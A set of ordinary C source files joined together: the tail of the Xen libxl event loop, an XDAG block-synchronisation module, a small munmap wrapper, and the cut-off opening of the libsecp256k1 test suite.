nfds */ } return revents; } static void afterpoll_internal(libxl__egc *egc, libxl__poller *poller, int nfds, const struct pollfd *fds, struct timeval now) { /* May make callbacks into the application for child processes. * ctx must be locked exactly once */ EGC_GC; libxl__ev_fd *efd; /* * Warning! Reentrancy hazards! * * Many parts of this function eventually call arbitrary callback * functions which may modify the event handling data structures. * * Of the data structures used here: * * egc, poller, now * are allocated by our caller and relate to the * current thread and its call stack down into the * event machinery; it is not freed until we return. * So it is safe. * * fds is either what application passed into * libxl_osevent_afterpoll (which, although this * isn't explicitly stated, clearly must remain * valid until libxl_osevent_afterpoll returns) or * it's poller->fd_polls which is modified only by * our (non-recursive) caller eventloop_iteration. * * CTX comes from our caller, and applications are * forbidden from destroying it while we are running. * So the ctx pointer itself is safe to use; now * for its contents: * * CTX->etimes is used in a simple reentrancy-safe manner. * * CTX->efds is more complicated; see below. */ for (;;) { /* We restart our scan of fd events whenever we call a * callback function. This is necessary because such * a callback might make arbitrary changes to CTX->efds. * We invalidate the fd_rindices[] entries which were used * so that we don't call the same function again. */ int revents; LIBXL_LIST_FOREACH(efd, &CTX->efds, entry) { if (!efd->events) continue; revents = afterpoll_check_fd(poller,fds,nfds, efd->fd,efd->events); if (revents) goto found_fd_event; } /* no ordinary fd events, then */ break; found_fd_event: DBG("ev_fd=%p occurs fd=%d events=%x revents=%x", efd, efd->fd, efd->events, revents); efd->func(egc, efd, efd->fd, efd->events, revents); } if (afterpoll_check_fd(poller,fds,nfds, poller->wakeup_pipe[0],POLLIN)) { int e = libxl__self_pipe_eatall(poller->wakeup_pipe[0]); if (e) LIBXL__EVENT_DISASTER(egc, "read wakeup", e, 0); } int selfpipe = libxl__fork_selfpipe_active(CTX); if (selfpipe >= 0 && afterpoll_check_fd(poller,fds,nfds, selfpipe, POLLIN)) { int e = libxl__self_pipe_eatall(selfpipe); if (e) LIBXL__EVENT_DISASTER(egc, "read sigchld pipe", e, 0); libxl__fork_selfpipe_woken(egc); } for (;;) { libxl__ev_time *etime = LIBXL_TAILQ_FIRST(&CTX->etimes); if (!etime) break; assert(!etime->infinite); if (timercmp(&etime->abs, &now, >)) break; time_deregister(gc, etime); DBG("ev_time=%p occurs abs=%lu.%06lu", etime, (unsigned long)etime->abs.tv_sec, (unsigned long)etime->abs.tv_usec); etime->func(egc, etime, &etime->abs); } } void libxl_osevent_afterpoll(libxl_ctx *ctx, int nfds, const struct pollfd *fds, struct timeval now) { EGC_INIT(ctx); CTX_LOCK; afterpoll_internal(egc, &ctx->poller_app, nfds, fds, now); CTX_UNLOCK; EGC_FREE; } /* * osevent hook and callback machinery */ void libxl_osevent_register_hooks(libxl_ctx *ctx, const libxl_osevent_hooks *hooks, void *user) { GC_INIT(ctx); CTX_LOCK; ctx->osevent_hooks = hooks; ctx->osevent_user = user; CTX_UNLOCK; GC_FREE; } void libxl_osevent_occurred_fd(libxl_ctx *ctx, void *for_libxl, int fd, short events_ign, short revents_ign) { EGC_INIT(ctx); CTX_LOCK; assert(!CTX->osevent_in_hook); libxl__ev_fd *ev = osevent_ev_from_hook_nexus(ctx, for_libxl); if (!ev) goto out; if (ev->fd != fd) goto out; struct pollfd check; for (;;) { check.fd = fd; check.events = ev->events; int r = poll(&check, 1, 0); if (!r) goto out; if (r==1) break; assert(r<0); if (errno != EINTR) { LIBXL__EVENT_DISASTER(egc, "failed poll to check for fd", errno, 0); goto out; } } if (check.revents) ev->func(egc, ev, fd, ev->events, check.revents); out: CTX_UNLOCK; EGC_FREE; } void libxl_osevent_occurred_timeout(libxl_ctx *ctx, void *for_libxl) { EGC_INIT(ctx); CTX_LOCK; assert(!CTX->osevent_in_hook); libxl__osevent_hook_nexus *nexus = for_libxl; libxl__ev_time *ev = osevent_ev_from_hook_nexus(ctx, nexus); osevent_release_nexus(gc, &CTX->hook_timeout_nexi_idle, nexus); if (!ev) goto out; assert(!ev->infinite); LIBXL_TAILQ_REMOVE(&CTX->etimes, ev, entry); ev->func(egc, ev, &ev->abs); out: CTX_UNLOCK; EGC_FREE; } void libxl__event_disaster(libxl__egc *egc, const char *msg, int errnoval, libxl_event_type type /* may be 0 */, const char *file, int line, const char *func) { EGC_GC; libxl__log(CTX, XTL_CRITICAL, errnoval, file, line, func, "DISASTER in event loop: %s%s%s%s", msg, type ? " (relates to event type " : "", type ? libxl_event_type_to_string(type) : "", type ? ")" : ""); if (CTX->event_hooks && CTX->event_hooks->disaster) { CTX->event_hooks->disaster(CTX->event_hooks_user, type, msg, errnoval); return; } const char verybad[] = "DISASTER in event loop not handled by libxl application"; LIBXL__LOG(CTX, XTL_CRITICAL, verybad); fprintf(stderr, "libxl: fatal error, exiting program: %s\n", verybad); exit(-1); } static void egc_run_callbacks(libxl__egc *egc) { /* * The callbacks must happen with the ctx unlocked. See the * comment near #define EGC_GC in libxl_internal.h and those in * the definitions of libxl__egc, libxl__ao and libxl__aop. */ EGC_GC; libxl_event *ev, *ev_tmp; libxl__aop_occurred *aop, *aop_tmp; LIBXL_TAILQ_FOREACH_SAFE(ev, &egc->occurred_for_callback, link, ev_tmp) { LIBXL_TAILQ_REMOVE(&egc->occurred_for_callback, ev, link); LOG(DEBUG,"event %p callback type=%s", ev, libxl_event_type_to_string(ev->type)); CTX->event_hooks->event_occurs(CTX->event_hooks_user, ev); } LIBXL_TAILQ_FOREACH_SAFE(aop, &egc->aops_for_callback, entry, aop_tmp) { LIBXL_TAILQ_REMOVE(&egc->aops_for_callback, aop, entry); LOG(DEBUG,"ao %p: progress report: callback aop=%p", aop->ao, aop); aop->how->callback(CTX, aop->ev, aop->how->for_callback); CTX_LOCK; aop->ao->progress_reports_outstanding--; libxl__ao_complete_check_progress_reports(egc, aop->ao); CTX_UNLOCK; } libxl__ao *ao, *ao_tmp; LIBXL_TAILQ_FOREACH_SAFE(ao, &egc->aos_for_callback, entry_for_callback, ao_tmp) { LIBXL_TAILQ_REMOVE(&egc->aos_for_callback, ao, entry_for_callback); LOG(DEBUG,"ao %p: completion callback", ao); ao->how.callback(CTX, ao->rc, ao->how.u.for_callback); CTX_LOCK; ao->notified = 1; if (!ao->in_initiator) libxl__ao__destroy(CTX, ao); CTX_UNLOCK; } } void libxl__egc_cleanup(libxl__egc *egc) { EGC_GC; egc_run_callbacks(egc); libxl__free_all(gc); } /* * Event retrieval etc. */ void libxl_event_register_callbacks(libxl_ctx *ctx, const libxl_event_hooks *hooks, void *user) { ctx->event_hooks = hooks; ctx->event_hooks_user = user; } void libxl__event_occurred(libxl__egc *egc, libxl_event *event) { EGC_GC; if (CTX->event_hooks && (CTX->event_hooks->event_occurs_mask & (1UL << event->type))) { /* libxl__egc_cleanup will call the callback, just before exit * from libxl. This helps avoid reentrancy bugs: parts of * libxl that call libxl__event_occurred do not have to worry * that libxl might be reentered at that point. */ LIBXL_TAILQ_INSERT_TAIL(&egc->occurred_for_callback, event, link); return; } else { libxl__poller *poller; LIBXL_TAILQ_INSERT_TAIL(&CTX->occurred, event, link); LIBXL_LIST_FOREACH(poller, &CTX->pollers_event, entry) libxl__poller_wakeup(egc, poller); } } void libxl_event_free(libxl_ctx *ctx, libxl_event *event) { /* Exceptionally, this function may be called from libxl, with ctx==0 */ libxl_event_dispose(event); free(event); } libxl_event *libxl__event_new(libxl__egc *egc, libxl_event_type type, uint32_t domid, libxl_ev_user for_user) { EGC_GC; libxl_event *ev; ev = libxl__zalloc(NOGC,sizeof(*ev)); libxl_event_init(ev); libxl_event_init_type(ev, type); ev->domid = domid; ev->for_user = for_user; return ev; } static int event_check_internal(libxl__egc *egc, libxl_event **event_r, unsigned long typemask, libxl_event_predicate *pred, void *pred_user) { EGC_GC; libxl_event *ev; int rc; LIBXL_TAILQ_FOREACH(ev, &CTX->occurred, link) { if (!(typemask & ((uint64_t)1 << ev->type))) continue; if (pred && !pred(ev, pred_user)) continue; /* got one! */ LIBXL_TAILQ_REMOVE(&CTX->occurred, ev, link); *event_r = ev; rc = 0; goto out; } rc = ERROR_NOT_READY; out: return rc; } int libxl_event_check(libxl_ctx *ctx, libxl_event **event_r, uint64_t typemask, libxl_event_predicate *pred, void *pred_user) { EGC_INIT(ctx); CTX_LOCK; int rc = event_check_internal(egc, event_r, typemask, pred, pred_user); CTX_UNLOCK; EGC_FREE; return rc; } /* * Manipulation of pollers */ int libxl__poller_init(libxl_ctx *ctx, libxl__poller *p) { int r, rc; p->fd_polls = 0; p->fd_rindices = 0; r = pipe(p->wakeup_pipe); if (r) { LIBXL__LOG_ERRNO(ctx, LIBXL__LOG_ERROR, "cannot create poller pipe"); rc = ERROR_FAIL; goto out; } rc = libxl_fd_set_nonblock(ctx, p->wakeup_pipe[0], 1); if (rc) goto out; rc = libxl_fd_set_nonblock(ctx, p->wakeup_pipe[1], 1); if (rc) goto out; return 0; out: libxl__poller_dispose(p); return rc; } void libxl__poller_dispose(libxl__poller *p) { if (p->wakeup_pipe[1] > 0) close(p->wakeup_pipe[1]); if (p->wakeup_pipe[0] > 0) close(p->wakeup_pipe[0]); free(p->fd_polls); free(p->fd_rindices); } libxl__poller *libxl__poller_get(libxl_ctx *ctx) { /* must be called with ctx locked */ int rc; libxl__poller *p = LIBXL_LIST_FIRST(&ctx->pollers_idle); if (p) { LIBXL_LIST_REMOVE(p, entry); return p; } p = malloc(sizeof(*p)); if (!p) { LIBXL__LOG_ERRNO(ctx, LIBXL__LOG_ERROR, "cannot allocate poller"); return 0; } memset(p, 0, sizeof(*p)); rc = libxl__poller_init(ctx, p); if (rc) return NULL; return p; } void libxl__poller_put(libxl_ctx *ctx, libxl__poller *p) { LIBXL_LIST_INSERT_HEAD(&ctx->pollers_idle, p, entry); } void libxl__poller_wakeup(libxl__egc *egc, libxl__poller *p) { int e = libxl__self_pipe_wakeup(p->wakeup_pipe[1]); if (e) LIBXL__EVENT_DISASTER(egc, "cannot poke watch pipe", e, 0); } int libxl__self_pipe_wakeup(int fd) { static const char buf[1] = ""; for (;;) { int r = write(fd, buf, 1); if (r==1) return 0; assert(r==-1); if (errno == EINTR) continue; if (errno == EWOULDBLOCK) return 0; assert(errno); return errno; } } int libxl__self_pipe_eatall(int fd) { char buf[256]; for (;;) { int r = read(fd, buf, sizeof(buf)); if (r == sizeof(buf)) continue; if (r >= 0) return 0; assert(r == -1); if (errno == EINTR) continue; if (errno == EWOULDBLOCK) return 0; assert(errno); return errno; } } /* * Main event loop iteration */ static int eventloop_iteration(libxl__egc *egc, libxl__poller *poller) { /* The CTX must be locked EXACTLY ONCE so that this function * can unlock it when it polls. */ EGC_GC; int rc; struct timeval now; rc = libxl__gettimeofday(gc, &now); if (rc) goto out; int timeout; for (;;) { int nfds = poller->fd_polls_allocd; timeout = -1; rc = beforepoll_internal(gc, poller, &nfds, poller->fd_polls, &timeout, now); if (!rc) break; if (rc != ERROR_BUFFERFULL) goto out; struct pollfd *newarray = (nfds > INT_MAX / sizeof(struct pollfd) / 2) ? 0 : realloc(poller->fd_polls, sizeof(*newarray) * nfds); if (!newarray) { rc = ERROR_NOMEM; goto out; } poller->fd_polls = newarray; poller->fd_polls_allocd = nfds; } CTX_UNLOCK; rc = poll(poller->fd_polls, poller->fd_polls_allocd, timeout); CTX_LOCK; if (rc < 0) { if (errno == EINTR) return 0; /* will go round again if caller requires */ LIBXL__LOG_ERRNOVAL(CTX, LIBXL__LOG_ERROR, errno, "poll failed"); rc = ERROR_FAIL; goto out; } rc = libxl__gettimeofday(gc, &now); if (rc) goto out; afterpoll_internal(egc, poller, poller->fd_polls_allocd, poller->fd_polls, now); rc = 0; out: return rc; } int libxl_event_wait(libxl_ctx *ctx, libxl_event **event_r, uint64_t typemask, libxl_event_predicate *pred, void *pred_user) { int rc; libxl__poller *poller = NULL; EGC_INIT(ctx); CTX_LOCK; poller = libxl__poller_get(ctx); if (!poller) { rc = ERROR_FAIL; goto out; } for (;;) { rc = event_check_internal(egc, event_r, typemask, pred, pred_user); if (rc != ERROR_NOT_READY) goto out; rc = eventloop_iteration(egc, poller); if (rc) goto out; /* we unlock and cleanup the egc each time we go through this loop, * so that (a) we don't accumulate garbage and (b) any events * which are to be dispatched by callback are actually delivered * in a timely fashion. */ CTX_UNLOCK; libxl__egc_cleanup(egc); CTX_LOCK; } out: libxl__poller_put(ctx, poller); CTX_UNLOCK; EGC_FREE; return rc; } /* * The two possible state flow of an ao: * * Completion before initiator return: * * Initiator thread Possible other threads * * * ao_create allocates memory and * initialises the struct * * * the initiator function does its * work, setting up various internal * asynchronous operations -----------> * asynchronous operations * start to take place and * might cause ao completion * | * * initiator calls ao_inprogress | * - if synchronous, run event loop | * until the ao completes | * - ao completes on some thread * - completing thread releases the lock * <--------------' * - ao_inprogress takes the lock * - destroy the ao * * * Completion after initiator return (asynch. only): * * * Initiator thread Possible other threads * * * ao_create allocates memory and * initialises the struct * * * the initiator function does its * work, setting up various internal * asynchronous operations -----------> * asynchronous operations * start to take place and * might cause ao completion * | * * initiator calls ao_inprogress | * - observes event not yet done, | * - returns to caller | * | * - ao completes on some thread * - generate the event or call the callback * - destroy the ao */ void libxl__ao__destroy(libxl_ctx *ctx, libxl__ao *ao) { AO_GC; if (!ao) return; LOG(DEBUG,"ao %p: destroy",ao); if (ao->poller) libxl__poller_put(ctx, ao->poller); ao->magic = LIBXL__AO_MAGIC_DESTROYED; libxl__free_all(&ao->gc); free(ao); } void libxl__ao_abort(libxl__ao *ao) { AO_GC; LOG(DEBUG,"ao %p: abort",ao); assert(ao->magic == LIBXL__AO_MAGIC); assert(ao->in_initiator); assert(!ao->complete); assert(!ao->progress_reports_outstanding); libxl__ao__destroy(CTX, ao); } libxl__gc *libxl__ao_inprogress_gc(libxl__ao *ao) { assert(ao->magic == LIBXL__AO_MAGIC); assert(!ao->complete); return &ao->gc; } void libxl__ao_complete(libxl__egc *egc, libxl__ao *ao, int rc) { AO_GC; LOG(DEBUG,"ao %p: complete, rc=%d",ao,rc); assert(ao->magic == LIBXL__AO_MAGIC); assert(!ao->complete); ao->complete = 1; ao->rc = rc; libxl__ao_complete_check_progress_reports(egc, ao); } void libxl__ao_complete_check_progress_reports(libxl__egc *egc, libxl__ao *ao) { /* * We don't consider an ao complete if it has any outstanding * callbacks. These callbacks might be outstanding on other * threads, queued up in the other threads' egc's. Those threads * will, after making the callback, take out the lock again, * decrement progress_reports_outstanding, and call us again. */ libxl_ctx *ctx = libxl__gc_owner(&egc->gc); assert(ao->progress_reports_outstanding >= 0); if (!ao->complete || ao->progress_reports_outstanding) return; if (ao->poller) { assert(ao->in_initiator); if (!ao->constructing) /* don't bother with this if we're not in the event loop */ libxl__poller_wakeup(egc, ao->poller); } else if (ao->how.callback) { LIBXL__LOG(ctx, XTL_DEBUG, "ao %p: complete for callback",ao); LIBXL_TAILQ_INSERT_TAIL(&egc->aos_for_callback, ao, entry_for_callback); } else { libxl_event *ev; ev = NEW_EVENT(egc, OPERATION_COMPLETE, ao->domid, ao->how.u.for_event); if (ev) { ev->u.operation_complete.rc = ao->rc; libxl__event_occurred(egc, ev); } ao->notified = 1; } if (!ao->in_initiator && ao->notified) libxl__ao__destroy(ctx, ao); } libxl__ao *libxl__ao_create(libxl_ctx *ctx, uint32_t domid, const libxl_asyncop_how *how, const char *file, int line, const char *func) { libxl__ao *ao; ao = calloc(1, sizeof(*ao)); if (!ao) goto out; ao->magic = LIBXL__AO_MAGIC; ao->constructing = 1; ao->in_initiator = 1; ao->poller = 0; ao->domid = domid; LIBXL_INIT_GC(ao->gc, ctx); if (how) { ao->how = *how; } else { ao->poller = libxl__poller_get(ctx); if (!ao->poller) goto out; } libxl__log(ctx,XTL_DEBUG,-1,file,line,func, "ao %p: create: how=%p callback=%p poller=%p", ao, how, ao->how.callback, ao->poller); return ao; out: if (ao) libxl__ao__destroy(ctx, ao); return NULL; } int libxl__ao_inprogress(libxl__ao *ao, const char *file, int line, const char *func) { AO_GC; int rc; assert(ao->magic == LIBXL__AO_MAGIC); assert(ao->constructing); assert(ao->in_initiator); ao->constructing = 0; libxl__log(CTX,XTL_DEBUG,-1,file,line,func, "ao %p: inprogress: poller=%p, flags=%s%s%s%s", ao, ao->poller, ao->constructing ? "o" : "", ao->in_initiator ? "i" : "", ao->complete ? "c" : "", ao->notified ? "n" : ""); if (ao->poller) { /* Caller wants it done synchronously. */ /* We use a fresh gc, so that we can free things * each time round the loop. */ libxl__egc egc; LIBXL_INIT_EGC(egc,CTX); for (;;) { assert(ao->magic == LIBXL__AO_MAGIC); if (ao->complete) { rc = ao->rc; ao->notified = 1; break; } DBG("ao %p: not ready, waiting",ao); rc = eventloop_iteration(&egc,ao->poller); if (rc) { /* Oh dear, this is quite unfortunate. */ LIBXL__LOG(CTX, LIBXL__LOG_ERROR, "Error waiting for" " event during long-running operation (rc=%d)", rc); sleep(1); /* It's either this or return ERROR_I_DONT_KNOW_WHETHER * _THE_THING_YOU_ASKED_FOR_WILL_BE_DONE_LATER_WHEN * _YOU_DIDNT_EXPECT_IT, since we don't have any kind of * cancellation ability. */ } CTX_UNLOCK; libxl__egc_cleanup(&egc); CTX_LOCK; } } else { rc = 0; } ao->in_initiator = 0; if (ao->notified) { assert(ao->complete); libxl__ao__destroy(CTX,ao); } return rc; } /* progress reporting */ /* The application indicates a desire to ignore events by passing NULL * for how. But we want to copy *how. So we have this dummy function * whose address is stored in callback if the app passed how==NULL. */ static void dummy_asyncprogress_callback_ignore (libxl_ctx *ctx, libxl_event *ev, void *for_callback) { } void libxl__ao_progress_gethow(libxl_asyncprogress_how *in_state, const libxl_asyncprogress_how *from_app) { if (from_app) *in_state = *from_app; else in_state->callback = dummy_asyncprogress_callback_ignore; } void libxl__ao_progress_report(libxl__egc *egc, libxl__ao *ao, const libxl_asyncprogress_how *how, libxl_event *ev) { AO_GC; if (how->callback == dummy_asyncprogress_callback_ignore) { LOG(DEBUG,"ao %p: progress report: ignored",ao); libxl_event_free(CTX,ev); /* ignore */ } else if (how->callback) { libxl__aop_occurred *aop = libxl__zalloc(&egc->gc, sizeof(*aop)); ao->progress_reports_outstanding++; aop->ao = ao; aop->ev = ev; aop->how = how; LIBXL_TAILQ_INSERT_TAIL(&egc->aops_for_callback, aop, entry); LOG(DEBUG,"ao %p: progress report: callback queued aop=%p",ao,aop); } else { LOG(DEBUG,"ao %p: progress report: event queued ev=%p type=%s", ao, ev, libxl_event_type_to_string(ev->type)); libxl__event_occurred(egc, ev); } } /* * Local variables: * mode: C * c-basic-offset: 4 * indent-tabs-mode: nil * End: */
259042.c
/* синхронизация, T13.738-T14.582 $DVS:time$ */ #include <stdlib.h> #include <string.h> #include <time.h> #include <pthread.h> #include <unistd.h> #include "sync.h" #include "hash.h" #include "init.h" #include "transport.h" #include "utils/log.h" #include "utils/utils.h" #include "time.h" #define SYNC_HASH_SIZE 0x10000 #define get_list(hash) (g_sync_hash + ((hash)[0] & (SYNC_HASH_SIZE - 1))) #define get_list_r(hash) (g_sync_hash_r + ((hash)[0] & (SYNC_HASH_SIZE - 1))) #define REQ_PERIOD 64 #define QUERY_RETRIES 2 struct sync_block { struct xdag_block b; xdag_hash_t hash; struct sync_block *next, *next_r; void *conn; time_t t; uint8_t nfield; uint8_t ttl; }; static struct sync_block **g_sync_hash, **g_sync_hash_r; static pthread_mutex_t g_sync_hash_mutex = PTHREAD_MUTEX_INITIALIZER; int g_xdag_sync_on = 0; extern xtime_t g_time_limit; //functions int xdag_sync_add_block_nolock(struct xdag_block*, void*); int xdag_sync_pop_block_nolock(struct xdag_block*); extern void *add_block_callback(void *block, void *data); void *sync_thread(void*); /* moves the block to the wait list, block with hash written to field 'nfield' of block 'b' is expected (original russian comment was unclear too) */ //将区块放入队列中 static int push_block_nolock(struct xdag_block *b, void *conn, int nfield, int ttl) { xdag_hash_t hash; struct sync_block **p, *q; int res; time_t t = time(0); xdag_hash(b, sizeof(struct xdag_block), hash); for (p = get_list(b->field[nfield].hash), q = *p; q; q = q->next) { if (!memcmp(&q->b, b, sizeof(struct xdag_block))) { res = (t - q->t >= REQ_PERIOD); q->conn = conn; q->nfield = nfield; q->ttl = ttl; if (res) q->t = t; return res; } } q = (struct sync_block *)malloc(sizeof(struct sync_block)); if (!q) return -1; memcpy(&q->b, b, sizeof(struct xdag_block)); memcpy(&q->hash, hash, sizeof(xdag_hash_t)); q->conn = conn; q->nfield = nfield; q->ttl = ttl; q->t = t; q->next = *p; *p = q; p = get_list_r(hash); q->next_r = *p; *p = q; g_xdag_extstats.nwaitsync++; return 1; } //把区块从syncqune中pop出 /* notifies synchronization mechanism about found block */ int xdag_sync_pop_block_nolock(struct xdag_block *b) { fprintf(stdout,"init sync pop add block\n "); struct sync_block **p, *q, *r; xdag_hash_t hash; xdag_hash(b, sizeof(struct xdag_block), hash); begin: for (p = get_list(hash); (q = *p); p = &q->next) { if (!memcmp(hash, q->b.field[q->nfield].hash, sizeof(xdag_hashlow_t))) { *p = q->next; g_xdag_extstats.nwaitsync--; for (p = get_list_r(q->hash); (r = *p) && r != q; p = &r->next_r); if (r == q) { *p = q->next_r; } q->b.field[0].transport_header = q->ttl << 8 | 1; xdag_sync_add_block_nolock(&q->b, q->conn); free(q); goto begin; } } return 0; } int xdag_sync_pop_block(struct xdag_block *b) { pthread_mutex_lock(&g_sync_hash_mutex); int res = xdag_sync_pop_block_nolock(b); pthread_mutex_unlock(&g_sync_hash_mutex); return res; } /* checks a block and includes it in the database with synchronization, ruturs non-zero value in case of error */ // 添加到本地系统 // 验证block正确性 // 记录到存储系统 // 更新主链 // 如果添加成功 // 从待同步队列中去除 // 如果ttl>2,继续转发给其他链接 // 如果添加失败 // 添加到待同步队列,或者更新时间戳 // 重新向网络请求一次这个block int xdag_sync_add_block_nolock(struct xdag_block *b, void *conn) { fprintf(stdout,"init sync add block\n "); int res=0, ttl = b->field[0].transport_header >> 8 & 0xff; //取transport_header倒数第二个字节的数据 // 添加 res判断加入是否成功 即是说区块的验证在xdag_add_block中 如果验证成功也添加成功也更新了主链 返回>0的值 将b从待同步队列中去除 如果ttl>2则继续转发 如果加入失败 返回<0 res = xdag_add_block(b); if (res >= 0) { xdag_sync_pop_block_nolock(b); if (res > 0 && ttl > 2) { b->field[0].transport_header = ttl << 8; xdag_send_packet(b, (void*)((uintptr_t)conn | 1l)); } } else if (g_xdag_sync_on && ((res = -res) & 0xf) == 5) { res = (res >> 4) & 0xf; if (push_block_nolock(b, conn, res, ttl)) { struct sync_block **p, *q; uint64_t *hash = b->field[res].hash; time_t t = time(0); begin: for (p = get_list_r(hash); (q = *p); p = &q->next_r) { if (!memcmp(hash, q->hash, sizeof(xdag_hashlow_t))) { if (t - q->t < REQ_PERIOD) { return 0; } q->t = t; hash = q->b.field[q->nfield].hash; goto begin; } } xdag_request_block(hash, (void*)(uintptr_t)1l); xdag_info("ReqBlk: %016llx%016llx%016llx%016llx", hash[3], hash[2], hash[1], hash[0]); } } return 0; } int xdag_sync_add_block(struct xdag_block *b, void *conn) { pthread_mutex_lock(&g_sync_hash_mutex); int res = xdag_sync_add_block_nolock(b, conn); pthread_mutex_unlock(&g_sync_hash_mutex); return res; } /* initialized block synchronization */ int xdag_sync_init(void) { fprintf(stdout,"xdag_sync_init\n"); g_sync_hash = (struct sync_block **)calloc(sizeof(struct sync_block *), SYNC_HASH_SIZE); g_sync_hash_r = (struct sync_block **)calloc(sizeof(struct sync_block *), SYNC_HASH_SIZE); if (!g_sync_hash || !g_sync_hash_r) return -1; return 0; } // request all blocks between t and t + dt static int request_blocks(xtime_t t, xtime_t dt) { int i, res = 0; if (!g_xdag_sync_on) return -1; if (dt <= REQUEST_BLOCKS_MAX_TIME) { xtime_t t0 = g_time_limit; for (i = 0; xdag_info("QueryB: t=%llx dt=%llx", t, dt), i < QUERY_RETRIES && (res = xdag_request_blocks(t, t + dt, &t0, add_block_callback)) < 0; ++i); if (res <= 0) { return -1; } } else { struct xdag_storage_sum lsums[16], rsums[16]; if (xdag_load_sums(t, t + dt, lsums) <= 0) { return -1; } xdag_debug("Local : [%s]", xdag_log_array(lsums, 16 * sizeof(struct xdag_storage_sum))); for (i = 0; xdag_info("QueryS: t=%llx dt=%llx", t, dt), i < QUERY_RETRIES && (res = xdag_request_sums(t, t + dt, rsums)) < 0; ++i); if (res <= 0) { return -1; } dt >>= 4; xdag_debug("Remote: [%s]", xdag_log_array(rsums, 16 * sizeof(struct xdag_storage_sum))); for (i = 0; i < 16; ++i) { if (lsums[i].size != rsums[i].size || lsums[i].sum != rsums[i].sum) { request_blocks(t + i * dt, dt); } } } return 0; } /* a long procedure of synchronization */ void *sync_thread(void *arg) { xtime_t t = 0; for (;;) { xtime_t st = xdag_get_xtimestamp(); if (st - t >= MAIN_CHAIN_PERIOD) { t = st; request_blocks(0, 1ll << 48); } sleep(1); } return 0; }
21739.c
#include <sys/mman.h> #include "syscall.h" static void dummy(void) { } weak_alias(dummy, __vm_wait); int __munmap(void *start, size_t len) { __vm_wait(); return __syscall(SYS_munmap, start, len); } weak_alias(__munmap, munmap);
138535.c
/********************************************************************** * Copyright (c) 2013, 2014, 2015 Pieter Wuille, Gregory Maxwell * * Distributed under the MIT software license, see the accompanying * * file COPYING or http://www.opensource.org/licenses/mit-license.php.* **********************************************************************/ #if defined HAVE_CONFIG_H #include "libsecp256k1-config.h" #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include "secp256k1.c" #include "include/secp256k1.h" #include "testrand_impl.h" #ifdef ENABLE_OPENSSL_TESTS #include "openssl/bn.h" #include "openssl/ec.h" #include "openssl/ecdsa.h" #include "openssl/obj_mac.h" #endif #include "contrib/lax_der_parsing.c" #include "contrib/lax_der_privatekey_parsing.c" #if !defined(VG_CHECK) # if defined(VALGRIND) # include <valgrind/memcheck.h> # define VG_UNDEF(x,y) VALGRIND_MAKE_MEM_UNDEFINED((x),(y)) # define VG_CHECK(x,y) VALGRIND_CHECK_MEM_IS_DEFINED((x),(y)) # else # define VG_UNDEF(x,y) # define VG_CHECK(x,y) # endif #endif static int count = 64; static secp256k1_context *ctx = NULL; static void counting_illegal_callback_fn(const char* str, void* data) { /* Dummy callback function that just counts. */ int32_t *p; (void)str; p = data; (*p)++; } static void uncounting_illegal_callback_fn(const char* str, void* data) { /* Dummy callback function that just counts (backwards). */ int32_t *p; (void)str; p = data; (*p)--; } void random_field_element_test(secp256k1_fe *fe) { do { unsigned char b32[32]; secp256k1_rand256_test(b32); if (secp256k1_fe_set_b32(fe, b32)) { break; } } while(1); } void random_field_element_magnitude(secp256k1_fe *fe) { secp256k1_fe zero; int n = secp256k1_rand_int(9); secp256k1_fe_normalize(fe); if (n == 0) { return; } secp256k1_fe_clear(&zero); secp256k1_fe_negate(&zero, &zero, 0); secp256k1_fe_mul_int(&zero, n - 1); secp256k1_fe_add(fe, &zero); VERIFY_CHECK(fe->magnitude == n); } void random_group_element_test(secp256k1_ge *ge) { secp256k1_fe fe; do { random_field_element_test(&fe); if (secp256k1_ge_set_xo_var(ge, &fe, secp256k1_rand_bits(1))) { secp256k1_fe_normalize(&ge->y); break; } } while(1); } void random_group_element_jacobian_test(secp256k1_gej *gej, const secp256k1_ge *ge) { secp256k1_fe z2, z3; do { random_field_element_test(&gej->z); if (!secp256k1_fe_is_zero(&gej->z)) { break; } } while(1); secp256k1_fe_sqr(&z2, &gej->z); secp256k1_fe_mul(&z3, &z2, &gej->z); secp256k1_fe_mul(&gej->x, &ge->x, &z2); secp256k1_fe_mul(&gej->y, &ge->y, &z3); gej->infinity = ge->infinity; } void random_scalar_order_test(secp256k1_scalar *num) { do { unsigned char b32[32]; int overflow = 0; secp256k1_rand256_test(b32); secp256k1_scalar_set_b32(num, b32, &overflow); if (overflow || secp256k1_scalar_is_zero(num)) { continue; } break; } while(1); } void random_scalar_order(secp256k1_scalar *num) { do { unsigned char b32[32]; int overflow = 0; secp256k1_rand256(b32); secp256k1_scalar_set_b32(num, b32, &overflow); if (overflow || secp256k1_scalar_is_zero(num)) { continue; } break; } while(1); } void run_context_tests(void) { secp256k1_pubkey pubkey; secp256k1_pubkey zero_pubkey; secp256k1_ecdsa_signature sig; unsigned char ctmp[32]; int32_t ecount; int32_t ecount2; secp256k1_context *none = secp256k1_context_create(SECP256K1_CONTEXT_NONE); secp256k1_context *sign = secp256k1_context_create(SECP256K1_CONTEXT_SIGN); secp256k1_context *vrfy = secp256k1_context_create(SECP256K1_CONTEXT_VERIFY); secp256k1_context *both = secp256k1_context_create(SECP256K1_CONTEXT_SIGN | SECP256K1_CONTEXT_VERIFY); secp256k1_gej pubj; secp256k1_ge pub; secp256k1_scalar msg, key, nonce; secp256k1_scalar sigr, sigs; memset(&zero_pubkey, 0, sizeof(zero_pubkey)); ecount = 0; ecount2 = 10; secp256k1_context_set_illegal_callback(vrfy, counting_illegal_callback_fn, &ecount); secp256k1_context_set_illegal_callback(sign, counting_illegal_callback_fn, &ecount2); secp256k1_context_set_error_callback(sign, counting_illegal_callback_fn, NULL); CHECK(vrfy->error_callback.fn != sign->error_callback.fn); /*** clone and destroy all of them to make sure cloning was complete ***/ { secp256k1_context *ctx_tmp; ctx_tmp = none; none = secp256k1_context_clone(none); secp256k1_context_destroy(ctx_tmp); ctx_tmp = sign; sign = secp256k1_context_clone(sign); secp256k1_context_destroy(ctx_tmp); ctx_tmp = vrfy; vrfy = secp256k1_context_clone(vrfy); secp256k1_context_destroy(ctx_tmp); ctx_tmp = both; both = secp256k1_context_clone(both); secp256k1_context_destroy(ctx_tmp); } /* Verify that the error callback makes it across the clone. */ CHECK(vrfy->error_callback.fn != sign->error_callback.fn); /* And that it resets back to default. */ secp256k1_context_set_error_callback(sign, NULL, NULL); CHECK(vrfy->error_callback.fn == sign->error_callback.fn); /*** attempt to use them ***/ random_scalar_order_test(&msg); random_scalar_order_test(&key); 